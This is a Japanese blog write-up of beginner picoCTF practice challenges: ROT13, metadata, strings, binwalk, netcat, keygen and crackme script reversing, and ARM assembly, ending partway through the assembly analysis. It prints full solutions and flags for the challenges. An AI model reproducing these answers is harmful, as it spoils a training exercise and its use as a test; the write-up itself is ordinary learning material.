picoCTF picoGym Practice Challenges WriteUp

picoCTF よりpicoGym Practice ChallengesのWriteUp。

解けた問題から順次WriteUpを追加していく予定。

※記事のボリュームが増えてきたので新記事を設けた。今後は新記事の方を更新予定。

Obedient Cat (5points)

テキストファイルからフラグを読み出すだけの問題。

cat flag

Mod 26 (10points)

ROT13暗号。

echo "cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_hyLicInt}" | tr "A-Z" "N-ZA-M" | tr "a-z" "n-za-m"

Python Wrangling (10points)

渡されたPythonスクリプトに適切な引数とパスワードを渡して実行すればフラグを取得できる。

$ python ende.py -d flag.txt.en
Please enter the password:ac9bd0ffac9bd0ffac9bd0ffac9bd0ff

Wave a flag (10points)

渡されたELFファイルにstringsをかけたらフラグを取得できた。

strings warm | grep -i picoCTF

information (10points)

渡された画像ファイルのメタデータをexiftoolで調べたところ、LicenseというフィールドにBase64と思しきデータを見つけた。

$ exiftool cat.jpeg 
ExifTool Version Number         : 9.46
File Name                       : cat.jpeg
Directory                       : .
File Size                       : 858 kB
File Modification Date/Time     : 2022:07:03 13:29:54+00:00
File Access Date/Time           : 2022:07:03 13:31:27+00:00
File Inode Change Date/Time     : 2022:07:03 13:31:23+00:00
File Permissions                : rw-r--r--
File Type                       : JPEG
MIME Type                       : image/jpeg
JFIF Version                    : 1.02
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Current IPTC Digest             : 7a78f3d9cfb1ce42ab5a3aa30573d617
Copyright Notice                : PicoCTF
Application Record Version      : 4
XMP Toolkit                     : Image::ExifTool 10.80
License                         : cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9
Rights                          : PicoCTF
Image Width                     : 2560
Image Height                    : 1598
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 2560x1598

このデータをBase64デコードしたらフラグを取得できた。

echo cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9 | base64 -d

Nice netcat… (15points)

Netcatでサーバーに接続するとAsciiコードが吐き出された。

$ nc mercury.picoctf.net 21135
112 
105 
99 
111 
67 
84 
70 
123 
103 
48 
48 
100 
95 
107 
49 
116 
116 
121 
33 
95 
110 
49 
99 
51 
95 
107 
49 
116 
116 
121 
33 
95 
97 
102 
100 
53 
102 
100 
97 
52 
125 
10

Asciiコードをデコードしたらフラグを取得できた。

flag_list = [112, 105, 99, 111, 67, 84, 70, 123, 103, 48, 48, 100, 95, 107, 49, 116, 116, 121, 33, 95, 110, 49, 99, 51, 95, 107, 49, 116, 116, 121, 33, 95, 97, 102, 100, 53, 102, 100, 97, 52, 125, 10]
flag = ''

for i in flag_list:
	flag += chr(int(i))

Transformation (20points)

暗号化処理を読み解いてフラグを復号する問題。

以下は暗号化されたフラグ。

灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸彤㔲挶戹㍽

以下は暗号化のコード。

''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])

上記のコードは平文を2文字ずつ取り出し、1文字目を左へ8桁シフトした後、2文字目と連結させ、最後にユニコード文字に変換する。なので暗号化後のデータ・サイズは暗号化前のデータ・サイズの2分の1になる。

フラグを復号するには上記の暗号化と逆の手順を踏めば良い。

encoded_flag = '灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸彤㔲挶戹㍽'
decoded_flag = ''

for i in range(0, len(encoded_flag)):
	decoded_flag += chr(ord(encoded_flag[i]) >> 8)
	print(decoded_flag[i], end='')
	print(chr(ord(encoded_flag[i]) - (ord(decoded_flag[i]) << 8)), end='')

GET aHEAD (20points)

http://mercury.picoctf.net:34561/ へHTTPのHEADリクエストを送信すると、サーバーのレスポンス・ヘッダーからフラグを見つけることができる。(GETリクエストではフラグが応答されない。)

curl -I http://mercury.picoctf.net:34561/

Static ain't always noise (20points)

渡されたELFファイルにstringsをかけたらフラグを取得できた。

strings static | grep -i picoCTF

Tab, Tab, Attack (20points)

ZIPファイルの階層深くにELFファイルが配置されている。

$ file Addadshashanammu.zip 
Addadshashanammu.zip: Zip archive data, at least v1.0 to extract, compression method=store

$ unzip -Z Addadshashanammu.zip 
Archive:  Addadshashanammu.zip
Zip file size: 4519 bytes, number of entries: 8
drwxr-xr-x  3.0 unx        0 bx stor 21-Mar-16 09:16 Addadshashanammu/
drwxr-xr-x  3.0 unx        0 bx stor 21-Mar-16 09:16 Addadshashanammu/Almurbalarammi/
drwxr-xr-x  3.0 unx        0 bx stor 21-Mar-16 09:16 Addadshashanammu/Almurbalarammi/Ashalmimilkala/
drwxr-xr-x  3.0 unx        0 bx stor 21-Mar-16 09:16 Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/
drwxr-xr-x  3.0 unx        0 bx stor 21-Mar-16 09:16 Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/
drwxr-xr-x  3.0 unx        0 bx stor 21-Mar-16 09:16 Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/
drwxr-xr-x  3.0 unx        0 bx stor 21-Mar-16 09:16 Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/
-rwxr-xr-x  3.0 unx     8320 bx defN 21-Mar-16 09:16 Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet
8 files, 8320 bytes uncompressed, 2371 bytes compressed:  71.5%


$ unzip Addadshashanammu.zip 
Archive:  Addadshashanammu.zip
   creating: Addadshashanammu/
   creating: Addadshashanammu/Almurbalarammi/
   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/
   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/
   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/
   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/
   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/
  inflating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet

$ cd Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/

$ ls
fang-of-haynekhtnamet

$ file fang-of-haynekhtnamet 
fang-of-haynekhtnamet: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=72a56ba85df661b5a985999a435927c01095cccf, not stripped

このELFファイルにstringsをかけたらフラグを取得できた。

strings fang-of-haynekhtnamet | grep -i picoCTF

keygenme-py (30points)

以下のPythonスクリプトの処理を読み取ってフラグを取得する問題。

#============================================================================#
#============================ARCANE CALCULATOR===============================#
#============================================================================#

import hashlib
from cryptography.fernet import Fernet
import base64



# GLOBALS --v
arcane_loop_trial = True
jump_into_full = False
full_version_code = ""

username_trial = "FRASER"
bUsername_trial = b"FRASER"

key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"
key_part_dynamic1_trial = "xxxxxxxx"
key_part_static2_trial = "}"
key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial

star_db_trial = {
  "Alpha Centauri": 4.38,
  "Barnard's Star": 5.95,
  "Luhman 16": 6.57,
  "WISE 0855-0714": 7.17,
  "Wolf 359": 7.78,
  "Lalande 21185": 8.29,
  "UV Ceti": 8.58,
  "Sirius": 8.59,
  "Ross 154": 9.69,
  "Yin Sector CL-Y d127": 9.86,
  "Duamta": 9.88,
  "Ross 248": 10.37,
  "WISE 1506+7027": 10.52,
  "Epsilon Eridani": 10.52,
  "Lacaille 9352": 10.69,
  "Ross 128": 10.94,
  "EZ Aquarii": 11.10,
  "61 Cygni": 11.37,
  "Procyon": 11.41,
  "Struve 2398": 11.64,
  "Groombridge 34": 11.73,
  "Epsilon Indi": 11.80,
  "SPF-LF 1": 11.82,
  "Tau Ceti": 11.94,
  "YZ Ceti": 12.07,
  "WISE 0350-5658": 12.09,
  "Luyten's Star": 12.39,
  "Teegarden's Star": 12.43,
  "Kapteyn's Star": 12.76,
  "Talta": 12.83,
  "Lacaille 8760": 12.88
}


def intro_trial():
    print("\n===============================================\n\
Welcome to the Arcane Calculator, " + username_trial + "!\n")    
    print("This is the trial version of Arcane Calculator.")
    print("The full version may be purchased in person near\n\
the galactic center of the Milky Way galaxy. \n\
Available while supplies last!\n\
=====================================================\n\n")


def menu_trial():
    print("___Arcane Calculator___\n\n\
Menu:\n\
(a) Estimate Astral Projection Mana Burn\n\
(b) [LOCKED] Estimate Astral Slingshot Approach Vector\n\
(c) Enter License Key\n\
(d) Exit Arcane Calculator")

    choice = input("What would you like to do, "+ username_trial +" (a/b/c/d)? ")
    
    if not validate_choice(choice):
        print("\n\nInvalid choice!\n\n")
        return
    
    if choice == "a":
        estimate_burn()
    elif choice == "b":
        locked_estimate_vector()
    elif choice == "c":
        enter_license()
    elif choice == "d":
        global arcane_loop_trial
        arcane_loop_trial = False
        print("Bye!")
    else:
        print("That choice is not valid. Please enter a single, valid \
lowercase letter choice (a/b/c/d).")


def validate_choice(menu_choice):
    if menu_choice == "a" or \
       menu_choice == "b" or \
       menu_choice == "c" or \
       menu_choice == "d":
        return True
    else:
        return False


def estimate_burn():
  print("\n\nSOL is detected as your nearest star.")
  target_system = input("To which system do you want to travel? ")

  if target_system in star_db_trial:
      ly = star_db_trial[target_system]
      mana_cost_low = ly**2
      mana_cost_high = ly**3
      print("\n"+ target_system +" will cost between "+ str(mana_cost_low) \
+" and "+ str(mana_cost_high) +" stone(s) to project to\n\n")
  else:
      # TODO : could add option to list known stars
      print("\nStar not found.\n\n")


def locked_estimate_vector():
    print("\n\nYou must buy the full version of this software to use this \
feature!\n\n")


def enter_license():
    user_key = input("\nEnter your license key: ")
    user_key = user_key.strip()

    global bUsername_trial
    
    if check_key(user_key, bUsername_trial):
        decrypt_full_version(user_key)
    else:
        print("\nKey is NOT VALID. Check your data entry.\n\n")


def check_key(key, username_trial):

    global key_full_template_trial

    if len(key) != len(key_full_template_trial):
        return False
    else:
        # Check static base key part --v
        i = 0
        for c in key_part_static1_trial:
            if key[i] != c:
                return False

            i += 1

        # TODO : test performance on toolbox container
        # Check dynamic part --v
        if key[i] != hashlib.sha256(username_trial).hexdigest()[4]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[5]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[3]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[6]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[2]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[7]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[1]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[8]:
            return False



        return True


def decrypt_full_version(key_str):

    key_base64 = base64.b64encode(key_str.encode())
    f = Fernet(key_base64)

    try:
        with open("keygenme.py", "w") as fout:
          global full_version
          global full_version_code
          full_version_code = f.decrypt(full_version)
          fout.write(full_version_code.decode())
          global arcane_loop_trial
          arcane_loop_trial = False
          global jump_into_full
          jump_into_full = True
          print("\nFull version written to 'keygenme.py'.\n\n"+ \
                 "Exiting trial version...")
    except FileExistsError:
    	sys.stderr.write("Full version of keygenme NOT written to disk, "+ \
	                  "ERROR: 'keygenme.py' file already exists.\n\n"+ \
			  "ADVICE: If this existing file is not valid, "+ \
			  "you may try deleting it and entering the "+ \
			  "license key again. Good luck")

def ui_flow():
    intro_trial()
    while arcane_loop_trial:
        menu_trial()



# Encrypted blob of full version
full_version = \
b"""
gAAAAABgT_nvqFdgzE0SICXvq-e6JoMrQpqxEKXoCsaUgvMCZM4ulMyWVfQ0hUgnEpPeHuqAYmmlpjm2A_LEpzWtUdkEY2-4rL050RgyNH_iDwMQdZcSvPBFdm2rWGesrNbtmnTnufKguVjMKO3ZiAM-zUNStGQ0cKInxOh09MG-rb2zGllNW7Qi26sScACcEVKwGmg52oilK7jY4aIzwImuZzruVi3ntZTXV7FgoLwfq4xH_tjmrv9oBLNtE243Z-bYE5117d8XChg8FncOJzEPVDRCwyQLLWZixOgkz8wTegIFkE4XK-WhspovwBBYQsSDhVuSECScugNyIC_wEwB-MEFg0Niz7scTO7cppqvJYkfkPSjG2C7tEVYlDBR-7ppjoTmh94P2IXGglPTjgyE2AwjXYNf4vm6Klm5UzrqbUHcqnsgXidAauM8YYM-bJxBteSXTrFEizvn-pTk41DxkeuHhKBELPzqb5cFDPOaIUvBRBWUh554CrPqG8cxFevn8w572ZpX8OTxQSeDzPijjNcH0WxWr3LOt1IuNYd1p_GiJWBwarn8yU-T9_WR77bYGYrFwnHOUp5rkXTohtxYv_CErqEiE6suaFk_7A5hER13hPjpX7WawnqEoOEWof2VaBTRDIeG_tueD5obgXH-KNeVvmGb-VvfEKtYH6nP4FI--xj1G86X3I-qS9akX0SYdlrIn_th51JN8-VNeT2F5ZBGT2W5im5K0aGkW4punB1Xm-OTcHa1cOsY883HthseLsXx4aW7tDiC2YMd4R1GjoFp4LNiseHEQsTbN0yOybF3xNjfY-cdf9Qpe1ssO0k4nyRpB4kbZTJ2L3gwDPutoNocAfe26ettfIfB2Ma87FY6Ywq8fezi0TbzdTESrODKhz-9al6dBM0l2Jwu5HtciWs36SfE8vl6lns9Hfri-BXYn_fiFDkpSDtncNwm8OBXlrQEQauaoCxWoxug72fwp9Y6E_FCutLdp5iIHh4ykZuLEi40cFE54SNb4yliqlyUe3lZ_0UaS7haJ32wgV2SL8Fpyf2UqK-0ymB8aqlWpXTrOZCDeIVFA529uRVl2c0JDhiJWD2ZfZLBmrB-u2CCO80VKovEkmRnm-xnNKBv8Gx5FMcbAPOapU0TLbE7PA1lWHw1dQwPe_8CdwuQbFLAKQei3GdzF9HjesGeI_simwQyEHc46lmgRKsCcW1yAatKLqc2BimE6tPVgRRdFpzX5nOnQ3lTJmbFTmNQ3BzrZKecEYIjDdtLOX3xPGR5ffLR365ZVDNfsa4UqVgtr-VvQX5ZiK7-z8HBOXD97123-U_1WTq1RVaH5gCCC8RUj9jKQ_rqXyTFdIL5AUSk_XCGu9oU_1CqKDxYLOlSbQ7MjJgidCyNpKXNurICDyZX3u16A2Qmr4jqUTtZQRV_tWIB2UfpPDsfwSpFOrIg4cq7jI-MXl9-AWyjWqxj29ha1ZyOCietO464jbcoGhLhbd0ocDdcLEs1aF_pXn8XPe17j8Fxobf8rugBK0vfZD9CVbl-wpAYqkjhpr4f5a0WHJ2En-Fm5RS5CLKyte7iX2bIsmStrsLOznNmElo6pQse1KdVubwvF4FGIoKrSbt7ZKdYtghJPmE-q-boJwdaIKmkcB0O_JASNcJ7s1ToyFSSrhIpevkpc6KwM00jG4-5P628uZATjnTuN0JIPOzN3NW0Gu0Nwf-iNfZqmdhmvbou7obiTMpeczG0lGHN74AJ0p98DL8HqIduH3QbcTNJC3u7DGEhrxh9nh5WOhm9jB80eVvBikP8CZTcQhP1nBg21GbLdNGrP1TO8gUOjxbW34wWpazI0D1qdtY48PemrUUIZafN8i1LBho5-Yb8EuxsgpwhGPdyl55sT2-rP2Au_QlFaC5h9QfG7FJLOqZgklmssRjVp0U316P4crI136bVsUNRqeXeNUJugE-zQXdLFwvZ7-zS4ghjz-jkSU8CPH86Lc0OE5eZVVifZh8uDQcJ94wfbJCDIvE-IljfxGrXriffCHvZqVukWPaSxG3XZ6-zWR8GMfkXn6qxT5EM7VQ5izwZabUZmyLxBfeccfsfVglp-6DSgMyyGAU3kcZr1mp0KlKhk7bOF7rr7tZkHX2T1rxluT3e6ek_a4aESqhNlU2If8XaqdSZM1Usbbn2MrUN7aTuOMNmY5A7g0BXfRFsTEY_ZAVss3voQUZy4LE3-qIuD2weWejJfNFerg9xx5Xs1xNGmnlqSW0-Q11eNYzdXzI44ZsDfqr2oXGVuVKjAmDzum8m45vd50SfUJlqk7E7aYotvS5qGpQhKNe7m1gw8_Oj2O2qGxMzxUeprCxt3_sLdsXWn0cOEf2YcVMM-UAjpN4xpzy4gKpflMV1M2r1IIu-pnbUcJQ0xSuV_wWxokt7OsCTYd-CF3zZhpXctCoSTxhl9QY0BAG4VxjCr4PO0G-sX1p491AGi4S_0QtSO1TX3GsHDJvNFse6zugNR-NnsQGwBZo4NEmE0zeOFSmCjMbf6GJeuir2RR4IL3SyzmUEx80afVN54g04DYYO_MZHU151tXrf7cQXty9iCXlNgJtswpGB5D-f7pBalxquA2rjA9Yk3YJ-_JGocUBOsMndR8_TN7CSQIkgocwXSmNhzfLH5rcjfbwe_uuCsApNyHdC8oFOg3EbvqNAKAE84-IJbmZFI_D6LLXIsVYyA5-taOh9qrEWqdgDnt5bxpxHwi_cOfjiSBO6HSFyMcpmxq2sov1YqyAW3ePyEm-7-jDQoT11wTzKZFPoCR5sVriWjeS5B2ZQIaMIQ8UZ_Ymz6l8EJ-UnX07oytzvwqiMHS2m4yp1j3BDhNaPqoZIfvolyvC7HT4ILilByHbRT7pV6qTG87Yn5D3JzTj9A9olDYW41Ck0kriLFKOgTE0N2uJZiq-DvtLek9-bp30pt39ycM25oxhYXICJMzU_-WSYOzpDd0t4gqB0-5NKuJDBRWjZB3jBnSmiLQ4d6ojRA_2IWv23RxKGJ-P5CYgmDKeaB4ub-L0_TRL0ZoPIAAnhv3Y_uMzX9_Kak1cGzkrKzGyYyUPYPoAc-UnSf2_Pv5pRtowLcWO5t20392n6M_PyJ9vPifkgcEZuLXF0xsH44mBEF7ebWg6iVgGgDJpGpSspyApnh_LDNnYv5ry4dPVLag59yq9xkWFt5143KyHYxDOIZtyTfZsgIg9dw0Rh02JPoc44OSEX-8XXDbiX5ED2EaGpWar7foQ9WOBHJZePBG6wR1HILQGbIN6JLBLaNYMPkDv6lhKBqryecZB4joBfVC1Li1VNnqNANPz2UUDGJnnp3_-ZCk1vq1OHib8yAvR5CGPMrUMMtqCFOZ1XaWr3IKhNotaMJ5UvXW0sRuUJGmVr80shgQnUBpDrn6hPLbaUIgGRaHaO_vLsDHcCXDapOoBfAhDbuuGU30syBPVm1c2kKzzc0GmsvNYerdsCe0849p_DcPOwdM7EzxCf63hOcZ020LxTlcGL8-Ij-oZyc6ggXz4JHAVABb5BkHiY-I00ero0tFRSz-q6GqOWW3vsykfBccgKvjHJMgfKiF6YUPX42DdegPTOgBm-5bwBfr9m9SV9cuT-6tOi2r2Wn82hRlXKONZ3P03-BYKKj_0wjGYM6EcciDiJ3HSJmqTx9zjFR0Nu5DUtUbyPqNJvv8pZIdSAarS0tav7UvOHRFvyGFBVhslKFm7g7jxkbaraO_SgxAK3ec_bZiDHLHeCqsD6VgG_B_B3l4pSJHqi5pV5cVAz_YFzPBYVnY8edEY6jeZsu58WP3t7OXfwD9UMZUBcb1aPRrdYECdiFY170i_CtzQjRfLb7EkAUe1HZStoq7n-CpdMPEmc6MNXzYyZd9A==
"""



# Enter main loop
ui_flow()

if jump_into_full:
    exec(full_version_code)

それなりにコードのボリュームはあるがスクリプトの冒頭 (16~22行目)でフラグを構築しているのが分かる。

username_trial = "FRASER"
bUsername_trial = b"FRASER"

key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"
key_part_dynamic1_trial = "xxxxxxxx"
key_part_static2_trial = "}"
key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial

3つの変数key_part_static1_trialkey_part_dynamic1_trialkey_part_static2_trialにフラグを分割して格納し、最終的に3つの変数を連結してkey_full_template_trialという変数にフラグを格納している。変数key_part_dynamic1_trialに格納される8文字の値を特定できればフラグを取得できると思われる。

変数key_full_template_trialcheck_key()という関数で参照されている (140~197行目)。

def check_key(key, username_trial):

    global key_full_template_trial

    if len(key) != len(key_full_template_trial):
        return False
    else:
        # Check static base key part --v
        i = 0
        for c in key_part_static1_trial:
            if key[i] != c:
                return False

            i += 1

        # TODO : test performance on toolbox container
        # Check dynamic part --v
        if key[i] != hashlib.sha256(username_trial).hexdigest()[4]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[5]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[3]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[6]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[2]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[7]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[1]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[8]:
            return False



        return True

check_key()は何らかの認証のための関数と思われる。

認証の一環としてユーザー名 (FRASER) のSHA256ハッシュ値 (92d7ac3c9a0cf9d527a5906540d6c59c80bf8d7ad5bb1885f5f79b5b24a6d387)の4文字目、5文字目、3文字目、6文字目、2文字目、7文字目、1文字目、8文字目 を確認しているのが分かる。(合計8文字、変数key_part_dynamic1_trialに格納される値の大きさと一致する)

>>> import hashlib
>>> import base64
>>> username_trial = "FRASER"
>>> hashlib.sha256(username_trial).hexdigest()[4]
'a'
>>> hashlib.sha256(username_trial).hexdigest()[5]
'c'
>>> hashlib.sha256(username_trial).hexdigest()[3]
'7'
>>> hashlib.sha256(username_trial).hexdigest()[6]
'3'
>>> hashlib.sha256(username_trial).hexdigest()[2]
'd'
>>> hashlib.sha256(username_trial).hexdigest()[7]
'c'
>>> hashlib.sha256(username_trial).hexdigest()[1]
'2'
>>> hashlib.sha256(username_trial).hexdigest()[8]
'9'

取得した8文字を組み合わせればフラグになる。

key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"
key_part_dynamic1_trial = "ac73dc29"
key_part_static2_trial = "}"
key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial

Matryoshka doll (30points)

画像ファイルを解析してフラグを取得する問題。

問題名から推察するに画像ファイルに別ファイルが埋め込まれているのでは?と当たりをつけてbinwalkを走らせたところ、案の定ZIPファイルが埋め込まれていた。

$ binwalk dolls.jpeg 

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
0         	0x0       	PNG image, 594 x 1104, 8-bit/color RGBA, non-interlaced
3226      	0xC9A     	TIFF image data, big-endian
272492    	0x4286C   	Zip archive data, at least v2.0 to extract, compressed size: 378950, uncompressed size: 383938, name: "base_images/2_c.jpg"  
651630    	0x9F16E   	End of Zip archive 

ZIPファイルを抽出して解凍したところ、さらに画像ファイルが現れ、この画像ファイルにもZIPファイルが埋め込まれていた。

$ binwalk -e dolls.jpeg

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
0         	0x0       	PNG image, 594 x 1104, 8-bit/color RGBA, non-interlaced
3226      	0xC9A     	TIFF image data, big-endian
272492    	0x4286C   	Zip archive data, at least v2.0 to extract, compressed size: 378950, uncompressed size: 383938, name: "base_images/2_c.jpg"  
651630    	0x9F16E   	End of Zip archive 

$ ls
2_c.jpg.zip  base_images  dolls.jpeg

$ cd base_images/

$ ls
2_c.jpg

$ binwalk 2_c.jpg 

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
0         	0x0       	PNG image, 526 x 1106, 8-bit/color RGBA, non-interlaced
3226      	0xC9A     	TIFF image data, big-endian
187707    	0x2DD3B   	Zip archive data, at least v2.0 to extract, compressed size: 196043, uncompressed size: 201445, name: "base_images/3_c.jpg"  
383827    	0x5DB53   	End of Zip archive 
383938    	0x5DBC2   	End of Zip archive 

binwalkでZIPファイルを抽出して解凍 -> 解凍された画像ファイルから更にZIPファイルを抽出して解凍 の流れを数回繰り返すとflag.txtというファイルが現れた。このファイルにフラグが記載されていた。

$ binwalk -e 4_c.jpg 

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
0         	0x0       	PNG image, 320 x 768, 8-bit/color RGBA, non-interlaced
3226      	0xC9A     	TIFF image data, big-endian
3333      	0xD05     	LZMA compressed data, properties: 0x04, dictionary size: 16777216 bytes, uncompressed size: 196608 bytes
79578     	0x136DA   	Zip archive data, at least v2.0 to extract, compressed size: 65, uncompressed size: 81, name: "flag.txt"  
79809     	0x137C1   	End of Zip archive 

$ ls
4_c.jpg  D05.7z  flag.txt  flag.txt.zip

$ cat flag.txt

Magikarp Ground Mission (30points)

サーバーにSSH接続してテキストファイルに書かれている指示に従ってフラグを取るだけの問題。

ssh ctf-player@venus.picoctf.net -p 52395
ctf-player@pico-chall$ ls
1of3.flag.txt  instructions-to-2of3.txt
ctf-player@pico-chall$ ll
-bash: ll: command not found
ctf-player@pico-chall$ ls -lh
total 8.0K
-rw-r--r-- 1 ctf-player ctf-player 14 Mar 16  2021 1of3.flag.txt
-rw-r--r-- 1 ctf-player ctf-player 56 Mar 16  2021 instructions-to-2of3.txt
ctf-player@pico-chall$ cat 1of3.flag.txt 
picoCTF{xxsh_
ctf-player@pico-chall$ cat instructions-to-2of3.txt 
Next, go to the root of all things, more succinctly `/`
ctf-player@pico-chall$ cd /
ctf-player@pico-chall$ ls
2of3.flag.txt  bin  boot  dev  etc  home  instructions-to-3of3.txt  lib  lib64	media  mnt  opt  proc  root  run  sbin	srv  sys  tmp  usr  var
ctf-player@pico-chall$ cat 2of3.flag.txt 
0ut_0f_\/\/4t3r_
ctf-player@pico-chall$ cat instructions-to-3of3.txt 
Lastly, ctf-player, go home... more succinctly `~`
ctf-player@pico-chall$ cd ~
ctf-player@pico-chall$ ls
3of3.flag.txt  drop-in
ctf-player@pico-chall$ cat 3of3.flag.txt 

crackme-py (30points)

以下のPythonスクリプトを解読してフラグを復号する問題。

# Hiding this really important number in an obscure piece of code is brilliant!
# AND it's encrypted!
# We want our biggest client to know his information is safe with us.
bezos_cc_secret = "A:4@r%uL`M-^M0c0AbcM-MFE07b34c`_6N"

# Reference alphabet
alphabet = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
            "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"



def decode_secret(secret):
    """ROT47 decode

    NOTE: encode and decode are the same operation in the ROT cipher family.
    """

    # Encryption key
    rotate_const = 47

    # Storage for decoded secret
    decoded = ""

    # decode loop
    for c in secret:
        index = alphabet.find(c)
        original_index = (index + rotate_const) % len(alphabet)
        decoded = decoded + alphabet[original_index]

    print(decoded)



def choose_greatest():
    """Echo the largest of the two numbers given by the user to the program

    Warning: this function was written quickly and needs proper error handling
    """

    user_value_1 = input("What's your first number? ")
    user_value_2 = input("What's your second number? ")
    greatest_value = user_value_1 # need a value to return if 1 & 2 are equal

    if user_value_1 > user_value_2:
        greatest_value = user_value_1
    elif user_value_1 < user_value_2:
        greatest_value = user_value_2

    print( "The number with largest positive magnitude is "
        + str(greatest_value) )



choose_greatest()

暗号化されたフラグA:4@r%uLM-^M0c0AbcM-MFE07b34c_6NをROT47デコードすればフラグを復号できる。CyberChefを用いてデコードした。

ARMssembly 0 (40points)

以下のARMアセンブリ命令を解読してフラグを取得する問題。

	.arch armv8-a
	.file	"chall.c"
	.text
	.align	2
	.global	func1
	.type	func1, %function
func1:
	sub	sp, sp, #16
	str	w0, [sp, 12]
	str	w1, [sp, 8]
	ldr	w1, [sp, 12]
	ldr	w0, [sp, 8]
	cmp	w1, w0
	bls	.L2
	ldr	w0, [sp, 12]
	b	.L3
.L2:
	ldr	w0, [sp, 8]
.L3:
	add	sp, sp, 16
	ret
	.size	func1, .-func1
	.section	.rodata
	.align	3
.LC0:
	.string	"Result: %ld\n"
	.text
	.align	2
	.global	main
	.type	main, %function
main:
	stp	x29, x30, [sp, -48]!
	add	x29, sp, 0
	str	x19, [sp, 16]
	str	w0, [x29, 44]
	str	x1, [x29, 32]
	ldr	x0, [x29, 32]
	add	x0, x0, 8
	ldr	x0, [x0]
	bl	atoi
	mov	w19, w0
	ldr	x0, [x29, 32]
	add	x0, x0, 16
	ldr	x0, [x0]
	bl	atoi
	mov	w1, w0
	mov	w0, w19
	bl	func1
	mov	w1, w0
	adrp	x0, .LC0
	add	x0, x0, :lo12:.LC0
	bl	printf
	mov	w0, 0
	ldr	x19, [sp, 16]
	ldp	x29, x30, [sp], 48
	ret
	.size	main, .-main
	.ident	"GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
	.section	.note.GNU-stack,"",@progbits

上記のプログラムに266134863と1592237099という2つの引数が渡されたときにprintによって出力される値を答えよとのこと。

ARMアセンブリは完全に門外漢だがネットに転がっているレファレンスを参考に頑張って読んでみた。

https://azeria-labs.com/assembly-basics-cheatsheet/
https://www.eng.auburn.edu/~nelson/courses/elec2220/slides/ARM%20prog%20model%205%20flowcontrol.pdf
https://qiita.com/edo_m18/items/a7c747c5bed600dca977
https://developer.arm.com/documentation/dui0552/a/the-cortex-m3-instruction-set/memory-access-instructions/ldr-and-str--register-offset
https://azeria-labs.com/memory-instructions-load-and-store-part-4/

どうやら以下のfunc1の処理が肝となる模様。レファレンスを参考にコメントを入れてみた。

func1:
	sub	sp, sp, #16
	str	w0, [sp, 12]        ## stores the value of w0 to stack+12
